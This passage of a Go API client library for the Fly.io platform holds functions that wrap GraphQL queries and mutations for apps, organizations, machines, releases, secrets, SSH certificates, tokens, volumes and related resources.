ctxWithAction(ctx, "release_egress_ip_address") 200 | req.Var("input", ReleaseEgressIPAddressInput{AppID: appName, MachineID: machineID}) 201 | 202 | data, err := c.RunWithContext(ctx, req) 203 | if err != nil { 204 | return nil, nil, err 205 | } 206 | 207 | return net.ParseIP(data.ReleaseEgressIPAddress.V4), net.ParseIP(data.ReleaseEgressIPAddress.V6), nil 208 | } 209 | 210 | func (c *Client) ReleaseIPAddress(ctx context.Context, appName string, ip string) error { 211 | query := ` 212 | mutation($input: ReleaseIPAddressInput!) { 213 | releaseIpAddress(input: $input) { 214 | clientMutationId 215 | } 216 | } 217 | ` 218 | 219 | req := c.NewRequest(query) 220 | ctx = ctxWithAction(ctx, "release_ip_address") 221 | req.Var("input", ReleaseIPAddressInput{AppID: &appName, IP: &ip}) 222 | 223 | _, err := c.RunWithContext(ctx, req) 224 | if err != nil { 225 | return err 226 | } 227 | 228 | return nil 229 | } 230 | -------------------------------------------------------------------------------- /resource_issues.go: -------------------------------------------------------------------------------- 1 | package fly 2 | 3 | import "context" 4 | 5 | func (client *Client) GetAppHostIssues(ctx context.Context, appName string) ([]HostIssue, error) { 6 | query := ` 7 | query($appName: String!) { 8 | apphostissues:app(name: $appName) { 9 | hostIssues { 10 | nodes { 11 | internalId 12 | message 13 | createdAt 14 | updatedAt 15 | } 16 | } 17 | } 18 | } 19 | ` 20 | 21 | req := client.NewRequest(query) 22 | req.Var("appName", appName) 23 | ctx = ctxWithAction(ctx, "get_app_host_issues") 24 | 25 | data, err := client.RunWithContext(ctx, req) 26 | if err != nil { 27 | return nil, err 28 | } 29 | 30 | return data.AppHostIssues.HostIssues.Nodes, nil 31 | } 32 | -------------------------------------------------------------------------------- /resource_logs.go: -------------------------------------------------------------------------------- 1 | package fly 2 | 3 | import ( 4 | "context" 5 | "encoding/json" 6 | "fmt" 7 | "net/http" 8 | "net/url" 9 | ) 10 | 11 | type getLogsResponse struct { 12 | Data []struct { 13 | Id string 14 | Attributes LogEntry 15 | } 16 | Meta struct { 17 | NextToken string `json:"next_token"` 18 | } 19 | } 20 | 21 | func (c *Client) GetAppLogs(ctx context.Context, appName, token, region, instanceID string) (entries []LogEntry, nextToken string, err error) { 22 | data := url.Values{} 23 | data.Set("next_token", token) 24 | if instanceID != "" { 25 | data.Set("instance", instanceID) 26 | } 27 | if region != "" { 28 | data.Set("region", region) 29 | } 30 | 31 | url := fmt.Sprintf("%s/api/v1/apps/%s/logs?%s", baseURL, appName, data.Encode()) 32 | 33 | ctx = WithAuthorizationHeader(ctx, c.tokens.BubblegumHeader()) 34 | 35 | var req *http.Request 36 | if req, err = http.NewRequestWithContext(ctx, "GET", url, nil); err != nil { 37 | return 38 | } 39 | 40 | var result getLogsResponse 41 | 42 | var res *http.Response 43 | if res, err = c.httpClient.Do(req); err != nil { 44 | return 45 | } 46 | defer res.Body.Close() //skipcq: GO-S2307 47 | 48 | if res.StatusCode != 200 { 49 | err = ErrorFromResp(res) 50 | 51 | return 52 | } 53 | 54 | if err = json.NewDecoder(res.Body).Decode(&result); err == nil { 55 | nextToken = result.Meta.NextToken 56 | 57 | for _, d := range result.Data { 58 | entries = append(entries, d.Attributes) 59 | } 60 | } 61 | 62 | return 63 | } 64 | -------------------------------------------------------------------------------- /resource_machines.go: -------------------------------------------------------------------------------- 1 | package fly 2 | 3 | import "context" 4 | 5 | func (client *Client) GetMachine(ctx context.Context, machineId string) (*GqlMachine, error) { 6 | query := ` 7 | query ($machineId: String!) { 8 | gqlmachine:machine(machineId: $machineId) { 9 | id 10 | name 11 | app { 12 | name 13 | organization { 14 | id 15 | slug 16 | } 17 | } 18 | } 19 | } 20 | ` 21 | 22 | req := client.NewRequest(query) 23 | req.Var("machineId", machineId) 24 | ctx = ctxWithAction(ctx, "get_machine") 25 | 26 | data, err := client.RunWithContext(ctx, req) 27 | if err != nil { 28 | return nil, err 29 | } 30 | 31 | return &data.GqlMachine, nil 32 | } 33 | -------------------------------------------------------------------------------- /resource_organizations.go: -------------------------------------------------------------------------------- 1 | package fly 2 | 3 | import ( 4 | "context" 5 | 6 | "github.com/superfly/graphql" 7 | ) 8 | 9 | type OrganizationType string 10 | 11 | const ( 12 | OrganizationTypePersonal OrganizationType = "PERSONAL" 13 | OrganizationTypeShared OrganizationType = "SHARED" 14 | ) 15 | 16 | type organizationFilter struct { 17 | admin bool 18 | } 19 | 20 | func (f *organizationFilter) apply(req *graphql.Request) { 21 | req.Var("admin", f.admin) 22 | } 23 | 24 | type OrganizationFilter func(*organizationFilter) 25 | 26 | var AdminOnly OrganizationFilter = func(f *organizationFilter) { f.admin = true } 27 | 28 | func (client *Client) GetOrganizations(ctx context.Context, filters ...OrganizationFilter) ([]Organization, error) { 29 | q := ` 30 | query($admin: Boolean!) { 31 | organizations(admin: $admin) { 32 | nodes { 33 | id 34 | slug 35 | name 36 | type 37 | paidPlan 38 | billable 39 | viewerRole 40 | internalNumericId 41 | } 42 | } 43 | } 44 | ` 45 | 46 | filter := new(organizationFilter) 47 | for _, f := range filters { 48 | f(filter) 49 | } 50 | 51 | req := client.NewRequest(q) 52 | filter.apply(req) 53 | 54 | ctx = ctxWithAction(ctx, "get_organizations") 55 | 56 | data, err := client.RunWithContext(ctx, req) 57 | if err != nil { 58 | return nil, err 59 | } 60 | 61 | return data.Organizations.Nodes, nil 62 | } 63 | 64 | func (client *Client) GetOrganizationRemoteBuilderBySlug(ctx context.Context, slug string) (*Organization, error) { 65 | q := ` 66 | query($slug: String!) { 67 | organization(slug: $slug) { 68 | id 69 | internalNumericId 70 | slug 71 | name 72 | type 73 | billable 74 | limitedAccessTokens { 75 | nodes { 76 | id 77 | name 78 | expiresAt 79 | user { 80 | email 81 | } 82 | } 83 | } 84 | remoteBuilderImage 85 | remoteBuilderApp { 86 | id 87 | name 88 | hostname 89 | deployed 90 | status 91 | version 92 | appUrl 93 | platformVersion 94 | currentRelease { 95 | evaluationId 96 | status 97 | inProgress 98 | version 99 | } 100 | ipAddresses { 101 | nodes { 102 | id 103 | address 104 | type 105 | createdAt 106 | } 107 | } 108 | organization { 109 | id 110 | slug 111 | paidPlan 112 | } 113 | imageDetails { 114 | registry 115 | repository 116 | tag 117 | digest 118 | version 119 | } 120 | machines{ 121 | nodes { 122 | id 123 | name 124 | config 125 | state 126 | region 127 | createdAt 128 | app { 129 | name 130 | } 131 | ips { 132 | nodes { 133 | family 134 | kind 135 | ip 136 | maskSize 137 | } 138 | } 139 | host { 140 | id 141 | } 142 | } 143 | } 144 | postgresAppRole: role { 145 | name 146 | } 147 | limitedAccessTokens { 148 | nodes { 149 | id 150 | name 151 | expiresAt 152 | } 153 | } 154 | } 155 | } 156 | } 157 | ` 158 | 159 | req := client.NewRequest(q) 160 | ctx = ctxWithAction(ctx, "get_organization_by_slug") 161 | req.Var("slug", slug) 162 | 163 | data, err := client.RunWithContext(ctx, req) 164 | if err != nil { 165 | return nil, err 166 | } 167 | 168 | return data.Organization, nil 169 | } 170 | 171 | func (client *Client) GetOrganizationBySlug(ctx context.Context, slug string) (*Organization, error) { 172 | q := ` 173 | query($slug: String!) { 174 | organization(slug: $slug) { 175 | id 176 | internalNumericId 177 | slug 178 | name 179 | type 180 | billable 181 | limitedAccessTokens { 182 | nodes { 183 | id 184 | name 185 | expiresAt 186 | revokedAt 187 | user { 188 | email 189 | } 190 | } 191 | } 192 | } 193 | } 194 | ` 195 | 196 | req := client.NewRequest(q) 197 | ctx = ctxWithAction(ctx, "get_organization_by_slug") 198 | req.Var("slug", slug) 199 | 200 | data, err := client.RunWithContext(ctx, req) 201 | if err != nil { 202 | return nil, err 203 | } 204 | 205 | return data.Organization, nil 206 | } 207 | 208 | func (client *Client) GetDetailedOrganizationBySlug(ctx context.Context, slug string) (*OrganizationDetails, error) { 209 | query := `query($slug: String!) { 210 | organizationdetails: organization(slug: $slug) { 211 | id 212 | slug 213 | name 214 | type 215 | viewerRole 216 | internalNumericId 217 | remoteBuilderImage 218 | remoteBuilderApp { 219 | name 220 | } 221 | members { 222 | edges { 223 | cursor 224 | node { 225 | id 226 | name 227 | email 228 | } 229 | joinedAt 230 | role 231 | } 232 | } 233 | } 234 | } 235 | ` 236 | 237 | req := client.NewRequest(query) 238 | req.Var("slug", slug) 239 | ctx = ctxWithAction(ctx, "get_detailed_organization") 240 | data, err := client.RunWithContext(ctx, req) 241 | if err != nil { 242 | return nil, err 243 | } 244 | 245 | return &data.OrganizationDetails, nil 246 | } 247 | 248 | func (c *Client) CreateOrganization(ctx context.Context, organizationname string) (*Organization, error) { 249 | query := ` 250 | mutation($input: CreateOrganizationInput!) { 251 | createOrganization(input: $input) { 252 | organization { 253 | id 254 | name 255 | slug 256 | type 257 | viewerRole 258 | } 259 | } 260 | } 261 | ` 262 | 263 | req := c.NewRequest(query) 264 | 265 | req.Var("input", map[string]string{ 266 | "name": organizationname, 267 | }) 268 | ctx = ctxWithAction(ctx, "create_organization") 269 | 270 | data, err := c.RunWithContext(ctx, req) 271 | if err != nil { 272 | return nil, err 273 | } 274 | 275 | return &data.CreateOrganization.Organization, nil 276 | } 277 | 278 | func (c *Client) DeleteOrganization(ctx context.Context, id string) (deletedid string, err error) { 279 | query := ` 280 | mutation($input: DeleteOrganizationInput!) { 281 | deleteOrganization(input: $input) { 282 | clientMutationId 283 | deletedOrganizationId 284 | } 285 | } 286 | ` 287 | 288 | req := c.NewRequest(query) 289 | 290 | req.Var("input", map[string]string{ 291 | "organizationId": id, 292 | }) 293 | 294 | ctx = ctxWithAction(ctx, "delete_organization") 295 | 296 | data, err := c.RunWithContext(ctx, req) 297 | if err != nil { 298 | return "", err 299 | } 300 | 301 | return data.DeleteOrganization.DeletedOrganizationId, nil 302 | } 303 | 304 | func (c *Client) CreateOrganizationInvite(ctx context.Context, id, email string) (*Invitation, error) { 305 | query := ` 306 | mutation($input: CreateOrganizationInvitationInput!){ 307 | createOrganizationInvitation(input: $input){ 308 | invitation { 309 | id 310 | email 311 | createdAt 312 | redeemed 313 | organization { 314 | slug 315 | } 316 | } 317 | } 318 | } 319 | ` 320 | 321 | req := c.NewRequest(query) 322 | 323 | req.Var("input", map[string]string{ 324 | "organizationId": id, 325 | "email": email, 326 | }) 327 | ctx = ctxWithAction(ctx, "create_organization_invite") 328 | 329 | data, err := c.RunWithContext(ctx, req) 330 | if err != nil { 331 | return nil, err 332 | } 333 | 334 | return &data.CreateOrganizationInvitation.Invitation, nil 335 | } 336 | 337 | func (c *Client) DeleteOrganizationMembership(ctx context.Context, orgId, userId string) (string, string, error) { 338 | query := ` 339 | mutation($input: DeleteOrganizationMembershipInput!){ 340 | deleteOrganizationMembership(input: $input){ 341 | organization{ 342 | slug 343 | } 344 | user{ 345 | name 346 | email 347 | } 348 | } 349 | } 350 | ` 351 | 352 | req := c.NewRequest(query) 353 | 354 | req.Var("input", map[string]string{ 355 | "userId": userId, 356 | "organizationId": orgId, 357 | }) 358 | ctx = ctxWithAction(ctx, "delete_organization") 359 | 360 | data, err := c.RunWithContext(ctx, req) 361 | if err != nil { 362 | return "", "", err 363 | } 364 | 365 | return data.DeleteOrganizationMembership.Organization.Name, data.DeleteOrganizationMembership.User.Email, nil 366 | } 367 | 368 | func (client *Client) GetOrganizationByApp(ctx context.Context, appName string) (*Organization, error) { 369 | q := ` 370 | query ($appName: String!) { 371 | app(name: $appName) { 372 | id 373 | name 374 | organization { 375 | id 376 | slug 377 | paidPlan 378 | remoteBuilderImage 379 | remoteBuilderApp { 380 | id 381 | name 382 | hostname 383 | deployed 384 | status 385 | version 386 | appUrl 387 | platformVersion 388 | currentRelease { 389 | evaluationId 390 | status 391 | inProgress 392 | version 393 | } 394 | ipAddresses { 395 | nodes { 396 | id 397 | address 398 | type 399 | createdAt 400 | } 401 | } 402 | organization { 403 | id 404 | slug 405 | paidPlan 406 | } 407 | imageDetails { 408 | registry 409 | repository 410 | tag 411 | digest 412 | version 413 | } 414 | machines{ 415 | nodes { 416 | id 417 | name 418 | config 419 | state 420 | region 421 | createdAt 422 | app { 423 | name 424 | } 425 | ips { 426 | nodes { 427 | family 428 | kind 429 | ip 430 | maskSize 431 | } 432 | } 433 | host { 434 | id 435 | } 436 | } 437 | } 438 | postgresAppRole: role { 439 | name 440 | } 441 | limitedAccessTokens { 442 | nodes { 443 | id 444 | name 445 | expiresAt 446 | } 447 | } 448 | } 449 | 450 | } 451 | 452 | } 453 | } 454 | ` 455 | 456 | req := client.NewRequest(q) 457 | req.Var("appName", appName) 458 | 459 | ctx = ctxWithAction(ctx, "get_organization_by_app") 460 | 461 | data, err := client.RunWithContext(ctx, req) 462 | if err != nil { 463 | return nil, err 464 | } 465 | 466 | return &data.App.Organization, nil 467 | } 468 | -------------------------------------------------------------------------------- /resource_platform.go: -------------------------------------------------------------------------------- 1 | package fly 2 | 3 | import "context" 4 | 5 | func (c *Client) PlatformRegions(ctx context.Context) ([]Region, *Region, error) { 6 | query := ` 7 | query { 8 | platform { 9 | requestRegion 10 | regions { 11 | name 12 | code 13 | latitude 14 | longitude 15 | gatewayAvailable 16 | requiresPaidPlan 17 | } 18 | } 19 | } 20 | ` 21 | 22 | req := c.NewRequest(query) 23 | ctx = ctxWithAction(ctx, "platform_regions") 24 | 25 | data, err := c.RunWithContext(ctx, req) 26 | if err != nil { 27 | return nil, nil, err 28 | } 29 | 30 | var requestRegion *Region 31 | 32 | if data.Platform.RequestRegion != "" { 33 | for _, region := range data.Platform.Regions { 34 | if region.Code == data.Platform.RequestRegion { 35 | requestRegion = ®ion 36 | break 37 | } 38 | } 39 | } 40 | 41 | return data.Platform.Regions, requestRegion, nil 42 | } 43 | -------------------------------------------------------------------------------- /resource_postgres.go: -------------------------------------------------------------------------------- 1 | package fly 2 | 3 | import ( 4 | "context" 5 | ) 6 | 7 | func (client *Client) AttachPostgresCluster(ctx context.Context, input AttachPostgresClusterInput) (*AttachPostgresClusterPayload, error) { 8 | query := ` 9 | mutation($input: AttachPostgresClusterInput!) { 10 | attachPostgresCluster(input: $input) { 11 | app { 12 | name 13 | } 14 | postgresClusterApp { 15 | name 16 | } 17 | environmentVariableName 18 | connectionString 19 | environmentVariableName 20 | } 21 | } 22 | ` 23 | 24 | req := client.NewRequest(query) 25 | req.Var("input", input) 26 | ctx = ctxWithAction(ctx, "attach_postgres_cluster") 27 | 28 | data, err := client.RunWithContext(ctx, req) 29 | if err != nil { 30 | return nil, err 31 | } 32 | 33 | return data.AttachPostgresCluster, nil 34 | } 35 | 36 | func (client *Client) DetachPostgresCluster(ctx context.Context, input DetachPostgresClusterInput) error { 37 | query := ` 38 | mutation($input: DetachPostgresClusterInput!) { 39 | detachPostgresCluster(input: $input) { 40 | clientMutationId 41 | } 42 | } 43 | ` 44 | 45 | req := client.NewRequest(query) 46 | req.Var("input", input) 47 | ctx = ctxWithAction(ctx, "detach_postgres_cluster") 48 | 49 | _, err := client.RunWithContext(ctx, req) 50 | return err 51 | } 52 | 53 | func (client *Client) ListPostgresClusterAttachments(ctx context.Context, appName, postgresAppName string) ([]*PostgresClusterAttachment, error) { 54 | query := ` 55 | query($appName: String!, $postgresAppName: String!) { 56 | postgresAttachments(appName: $appName, postgresAppName: $postgresAppName) { 57 | nodes { 58 | id 59 | databaseName 60 | databaseUser 61 | environmentVariableName 62 | } 63 | } 64 | } 65 | ` 66 | 67 | req := client.NewRequest(query) 68 | req.Var("appName", appName) 69 | req.Var("postgresAppName", postgresAppName) 70 | ctx = ctxWithAction(ctx, "list_postgres_cluster_attachments") 71 | 72 | data, err := client.RunWithContext(ctx, req) 73 | if err != nil { 74 | return nil, err 75 | } 76 | 77 | return data.PostgresAttachments.Nodes, nil 78 | } 79 | 80 | func (client *Client) EnablePostgresConsul(ctx context.Context, appName string) (*PostgresEnableConsulPayload, error) { 81 | const query = ` 82 | mutation($appName: ID!) { 83 | enablePostgresConsul(input: {appId: $appName}) { 84 | consulUrl 85 | } 86 | } 87 | ` 88 | req := client.NewRequest(query) 89 | req.Var("appName", appName) 90 | ctx = ctxWithAction(ctx, "enable_postgres_consul") 91 | 92 | data, err := client.RunWithContext(ctx, req) 93 | if err != nil { 94 | return nil, err 95 | } 96 | 97 | return data.EnablePostgresConsul, nil 98 | } 99 | -------------------------------------------------------------------------------- /resource_regions.go: -------------------------------------------------------------------------------- 1 | package fly 2 | 3 | import "context" 4 | 5 | func (c *Client) GetNearestRegion(ctx context.Context) (*Region, error) { 6 | req := c.NewRequest(` 7 | query { 8 | nearestRegion { 9 | code 10 | name 11 | gatewayAvailable 12 | } 13 | } 14 | `) 15 | 16 | ctx = ctxWithAction(ctx, "get_nearest_regions") 17 | 18 | data, err := c.RunWithContext(ctx, req) 19 | if err != nil { 20 | return nil, err 21 | } 22 | 23 | return data.NearestRegion, nil 24 | } 25 | -------------------------------------------------------------------------------- /resource_releases.go: -------------------------------------------------------------------------------- 1 | package fly 2 | 3 | import "context" 4 | 5 | func (c *Client) GetAppReleasesMachines(ctx context.Context, appName, status string, limit int) ([]Release, error) { 6 | query := ` 7 | query($appName: String!, $limit: Int!) { 8 | app(name: $appName) { 9 | releases: releasesUnprocessed(first: $limit) { 10 | nodes { 11 | id 12 | version 13 | description 14 | reason 15 | status 16 | imageRef 17 | stable 18 | user { 19 | id 20 | email 21 | name 22 | } 23 | createdAt 24 | } 25 | } 26 | } 27 | } 28 | ` 29 | 30 | req := c.NewRequest(query) 31 | ctx = ctxWithAction(ctx, "get_app_releases_machines") 32 | req.Var("appName", appName) 33 | req.Var("limit", limit) 34 | if status != "" { 35 | req.Var("status", status) 36 | } 37 | 38 | data, err := c.RunWithContext(ctx, req) 39 | if err != nil { 40 | return nil, err 41 | } 42 | 43 | return data.App.Releases.Nodes, nil 44 | } 45 | 46 | func (c *Client) GetAppCurrentReleaseMachines(ctx context.Context, appName string) (*Release, error) { 47 | query := ` 48 | query ($appName: String!) { 49 | app(name: $appName) { 50 | currentRelease: currentReleaseUnprocessed { 51 | id 52 | version 53 | description 54 | reason 55 | status 56 | imageRef 57 | stable 58 | user { 59 | id 60 | email 61 | name 62 | } 63 | createdAt 64 | } 65 | } 66 | } 67 | ` 68 | 69 | req := c.NewRequest(query) 70 | req.Var("appName", appName) 71 | ctx = ctxWithAction(ctx, "get_app_current_release_machines") 72 | 73 | data, err := c.RunWithContext(ctx, req) 74 | if err != nil { 75 | return nil, err 76 | } 77 | 78 | return data.App.CurrentRelease, nil 79 | } 80 | 81 | func (c *Client) CreateRelease(ctx context.Context, input CreateReleaseInput) (*CreateReleaseResponse, error) { 82 | _ = `# @genqlient 83 | mutation CreateRelease($input:CreateReleaseInput!) { 84 | createRelease(input:$input) { 85 | release { 86 | id 87 | version 88 | } 89 | } 90 | } 91 | ` 92 | return CreateRelease(ctx, c.genqClient, input) 93 | } 94 | 95 | func (c *Client) UpdateRelease(ctx context.Context, input UpdateReleaseInput) (*UpdateReleaseResponse, error) { 96 | _ = `# @genqlient 97 | mutation UpdateRelease($input:UpdateReleaseInput!) { 98 | updateRelease(input:$input) { 99 | release { 100 | id 101 | } 102 | } 103 | } 104 | ` 105 | return UpdateRelease(ctx, c.genqClient, input) 106 | } 107 | -------------------------------------------------------------------------------- /resource_remote_builders.go: -------------------------------------------------------------------------------- 1 | package fly 2 | 3 | import "context" 4 | 5 | func (client *Client) EnsureRemoteBuilder(ctx context.Context, orgID, appName, region string) (*GqlMachine, *App, error) { 6 | query := ` 7 | mutation($input: EnsureMachineRemoteBuilderInput!) { 8 | ensureMachineRemoteBuilder(input: $input) { 9 | machine { 10 | id 11 | state 12 | ips { 13 | nodes { 14 | family 15 | kind 16 | ip 17 | } 18 | } 19 | }, 20 | app { 21 | name 22 | organization { 23 | id 24 | slug 25 | } 26 | } 27 | } 28 | } 29 | ` 30 | 31 | req := client.NewRequest(query) 32 | ctx = ctxWithAction(ctx, "ensure_remote_builder") 33 | 34 | input := EnsureRemoteBuilderInput{} 35 | if region != "" { 36 | input.Region = StringPointer(region) 37 | } 38 | if orgID != "" { 39 | input.OrganizationID = StringPointer(orgID) 40 | } else { 41 | input.AppName = StringPointer(appName) 42 | } 43 | req.Var("input", input) 44 | 45 | data, err := client.RunWithContext(ctx, req) 46 | if err != nil { 47 | return nil, nil, err 48 | } 49 | 50 | return data.EnsureMachineRemoteBuilder.Machine, data.EnsureMachineRemoteBuilder.App, nil 51 | } 52 | 53 | // in order to auto generate the EnsureDepotRemoteBuilder function, we just need to create a string assigned to a variable, making sure to include the query, the input type, and the response type 54 | // we use pointer: true to make specifying the inputs optional 55 | func (client *Client) EnsureDepotRemoteBuilder(ctx context.Context, input *EnsureDepotRemoteBuilderInput) (*EnsureDepotRemoteBuilderResponse, error) { 56 | _ = ` 57 | # @genqlient(pointer: true) 58 | mutation EnsureDepotRemoteBuilder($input: EnsureDepotRemoteBuilderInput!) { 59 | ensureDepotRemoteBuilder(input:$input) { 60 | buildId 61 | buildToken 62 | } 63 | } 64 | ` 65 | 66 | return EnsureDepotRemoteBuilder(ctx, client.genqClient, input) 67 | } 68 | -------------------------------------------------------------------------------- /resource_secrets.go: -------------------------------------------------------------------------------- 1 | package fly 2 | 3 | import "context" 4 | 5 | func (c *Client) SetSecrets(ctx context.Context, appName string, secrets map[string]string) (*Release, error) { 6 | query := ` 7 | mutation($input: SetSecretsInput!) { 8 | setSecrets(input: $input) { 9 | release { 10 | id 11 | version 12 | reason 13 | description 14 | user { 15 | id 16 | email 17 | name 18 | } 19 | evaluationId 20 | createdAt 21 | } 22 | } 23 | } 24 | ` 25 | 26 | input := SetSecretsInput{AppID: appName} 27 | for k, v := range secrets { 28 | input.Secrets = append(input.Secrets, SetSecretsInputSecret{Key: k, Value: v}) 29 | } 30 | 31 | req := c.NewRequest(query) 32 | 33 | req.Var("input", input) 34 | ctx = ctxWithAction(ctx, "set_secrets") 35 | 36 | data, err := c.RunWithContext(ctx, req) 37 | if err != nil { 38 | return nil, err 39 | } 40 | 41 | return &data.SetSecrets.Release, nil 42 | } 43 | 44 | func (c *Client) UnsetSecrets(ctx context.Context, appName string, keys []string) (*Release, error) { 45 | query := ` 46 | mutation($input: UnsetSecretsInput!) { 47 | unsetSecrets(input: $input) { 48 | release { 49 | id 50 | version 51 | reason 52 | description 53 | user { 54 | id 55 | email 56 | name 57 | } 58 | evaluationId 59 | createdAt 60 | } 61 | } 62 | } 63 | ` 64 | 65 | req := c.NewRequest(query) 66 | 67 | req.Var("input", UnsetSecretsInput{AppID: appName, Keys: keys}) 68 | ctx = ctxWithAction(ctx, "unset_secrets") 69 | 70 | data, err := c.RunWithContext(ctx, req) 71 | if err != nil { 72 | return nil, err 73 | } 74 | 75 | return &data.UnsetSecrets.Release, nil 76 | } 77 | 78 | func (c *Client) GetAppSecrets(ctx context.Context, appName string) ([]Secret, error) { 79 | query := ` 80 | query ($appName: String!) { 81 | app(name: $appName) { 82 | secrets { 83 | name 84 | digest 85 | createdAt 86 | } 87 | } 88 | } 89 | ` 90 | 91 | req := c.NewRequest(query) 92 | 93 | req.Var("appName", appName) 94 | ctx = ctxWithAction(ctx, "get_app_secrets") 95 | 96 | data, err := c.RunWithContext(ctx, req) 97 | if err != nil { 98 | return nil, err 99 | } 100 | 101 | return data.App.Secrets, nil 102 | } 103 | -------------------------------------------------------------------------------- /resource_ssh.go: -------------------------------------------------------------------------------- 1 | package fly 2 | 3 | import ( 4 | "context" 5 | "crypto/ed25519" 6 | "strings" 7 | 8 | "golang.org/x/crypto/ssh" 9 | ) 10 | 11 | func (c *Client) GetLoggedCertificates(ctx context.Context, slug string) ([]LoggedCertificate, error) { 12 | req := c.NewRequest(` 13 | query($slug: String!) { 14 | organization(slug: $slug) { 15 | loggedCertificates { 16 | nodes { 17 | root 18 | cert 19 | } 20 | } 21 | } 22 | } 23 | `) 24 | req.Var("slug", slug) 25 | ctx = ctxWithAction(ctx, "get_logged_certificates") 26 | 27 | data, err := c.RunWithContext(ctx, req) 28 | if err != nil { 29 | return nil, err 30 | } 31 | 32 | return data.Organization.LoggedCertificates.Nodes, nil 33 | } 34 | 35 | func (c *Client) IssueSSHCertificate(ctx context.Context, org OrganizationImpl, principals []string, appNames []string, valid_hours *int, publicKey ed25519.PublicKey) (*IssuedCertificate, error) { 36 | req := c.NewRequest(` 37 | mutation($input: IssueCertificateInput!) { 38 | issueCertificate(input: $input) { 39 | certificate, key 40 | } 41 | } 42 | `) 43 | var pubStr string 44 | if len(publicKey) > 0 { 45 | sshPub, err := ssh.NewPublicKey(publicKey) 46 | if err != nil { 47 | return nil, err 48 | } 49 | 50 | pubStr = strings.TrimSpace(string(ssh.MarshalAuthorizedKey(sshPub))) 51 | } 52 | 53 | inputs := map[string]interface{}{ 54 | "organizationId": org.GetID(), 55 | "principals": principals, 56 | "appNames": appNames, 57 | "publicKey": pubStr, 58 | } 59 | 60 | if valid_hours != nil { 61 | inputs["validHours"] = *valid_hours 62 | } 63 | 64 | req.Var("input", inputs) 65 | ctx = ctxWithAction(ctx, "issue_ssh_certificates") 66 | 67 | data, err := c.RunWithContext(ctx, req) 68 | if err != nil { 69 | return nil, err 70 | } 71 | 72 | return &data.IssueCertificate, nil 73 | } 74 | -------------------------------------------------------------------------------- /resource_tokens.go: -------------------------------------------------------------------------------- 1 | package fly 2 | 3 | import ( 4 | "context" 5 | ) 6 | 7 | func (c *Client) GetAppLimitedAccessTokens(ctx context.Context, appName string) ([]LimitedAccessToken, error) { 8 | query := ` 9 | query ($appName: String!) { 10 | app(name: $appName) { 11 | limitedAccessTokens { 12 | nodes { 13 | id 14 | name 15 | token 16 | expiresAt 17 | revokedAt 18 | user { 19 | email 20 | } 21 | } 22 | } 23 | } 24 | } 25 | ` 26 | 27 | req := c.NewRequest(query) 28 | req.Var("appName", appName) 29 | ctx = ctxWithAction(ctx, "get_app_limited_access_tokens") 30 | 31 | data, err := c.RunWithContext(ctx, req) 32 | if err != nil { 33 | return nil, err 34 | } 35 | 36 | return data.App.LimitedAccessTokens.Nodes, nil 37 | } 38 | 39 | func (c *Client) RevokeLimitedAccessToken(ctx context.Context, id string) error { 40 | query := ` 41 | mutation($input:DeleteLimitedAccessTokenInput!) { 42 | deleteLimitedAccessToken(input: $input) { 43 | token 44 | } 45 | } 46 | ` 47 | req := c.NewRequest(query) 48 | 49 | req.Var("input", map[string]interface{}{ 50 | "id": id, 51 | }) 52 | ctx = ctxWithAction(ctx, "revoke_limited_access_token") 53 | 54 | _, err := c.RunWithContext(ctx, req) 55 | if err != nil { 56 | return err 57 | } 58 | 59 | return nil 60 | } 61 | -------------------------------------------------------------------------------- /resource_user.go: -------------------------------------------------------------------------------- 1 | package fly 2 | 3 | import ( 4 | "context" 5 | ) 6 | 7 | func (c *Client) GetCurrentUser(ctx context.Context) (*User, error) { 8 | query := ` 9 | query { 10 | viewer { 11 | ... on User { 12 | id 13 | email 14 | enablePaidHobby 15 | } 16 | ... on Macaroon { 17 | email 18 | } 19 | } 20 | } 21 | ` 22 | 23 | req := c.NewRequest(query) 24 | ctx = ctxWithAction(ctx, "get_current_user") 25 | 26 | data, err := c.RunWithContext(ctx, req) 27 | if err != nil { 28 | return nil, err 29 | } 30 | 31 | return &data.Viewer, nil 32 | } 33 | -------------------------------------------------------------------------------- /resource_volumes.go: -------------------------------------------------------------------------------- 1 | package fly 2 | 3 | import ( 4 | "context" 5 | ) 6 | 7 | func (c *Client) GetAppNameFromVolume(ctx context.Context, volID string) (*string, error) { 8 | query := ` 9 | query($id: ID!) { 10 | volume: node(id: $id) { 11 | ... on Volume { 12 | app { 13 | name 14 | } 15 | } 16 | } 17 | } 18 | ` 19 | 20 | req := c.NewRequest(query) 21 | 22 | req.Var("id", volID) 23 | ctx = ctxWithAction(ctx, "get_app_name_from_volume") 24 | 25 | data, err := c.RunWithContext(ctx, req) 26 | if err != nil { 27 | return nil, err 28 | } 29 | 30 | return &data.Volume.App.Name, nil 31 | } 32 | 33 | func (c *Client) GetAppNameStateFromVolume(ctx context.Context, volID string) (*string, *string, error) { 34 | query := ` 35 | query GetAppNameStateFromVolume($id: ID!) { 36 | volume: node(id: $id) { 37 | ... on Volume { 38 | app { 39 | name 40 | } 41 | state 42 | } 43 | } 44 | } 45 | ` 46 | 47 | req := c.NewRequest(query) 48 | 49 | req.Var("id", volID) 50 | ctx = ctxWithAction(ctx, "get_app_name_state_from_volume") 51 | 52 | data, err := c.RunWithContext(ctx, req) 53 | if err != nil { 54 | return nil, nil, err 55 | } 56 | 57 | return &data.Volume.App.Name, &data.Volume.State, nil 58 | } 59 | 60 | func (c *Client) GetSnapshotsFromVolume(ctx context.Context, volID string) ([]VolumeSnapshot, error) { 61 | query := ` 62 | query GetSnapshotsFromVolume($id: ID!) { 63 | volume: node(id: $id) { 64 | ... on Volume { 65 | snapshots { 66 | nodes { 67 | id 68 | size 69 | digest 70 | createdAt 71 | retentionDays 72 | } 73 | } 74 | } 75 | } 76 | } 77 | ` 78 | 79 | req := c.NewRequest(query) 80 | 81 | req.Var("id", volID) 82 | ctx = ctxWithAction(ctx, "get_snapshots_from_volume") 83 | 84 | data, err := c.RunWithContext(ctx, req) 85 | if err != nil { 86 | return nil, err 87 | } 88 | var snapshots []VolumeSnapshot 89 | for _, snapshot := range data.Volume.Snapshots.Nodes { 90 | snapshot.Status = "created" 91 | snapshots = append(snapshots, NewVolumeSnapshotFrom(snapshot)) 92 | } 93 | return snapshots, nil 94 | } 95 | -------------------------------------------------------------------------------- /resource_wireguard.go: -------------------------------------------------------------------------------- 1 | package fly 2 | 3 | import ( 4 | "context" 5 | "fmt" 6 | "os" 7 | ) 8 | 9 | func (c *Client) GetWireGuardPeer(ctx context.Context, slug, name string) (*WireGuardPeer, error) { 10 | req := c.NewRequest(` 11 | query($slug: String!, $name: String!) { 12 | 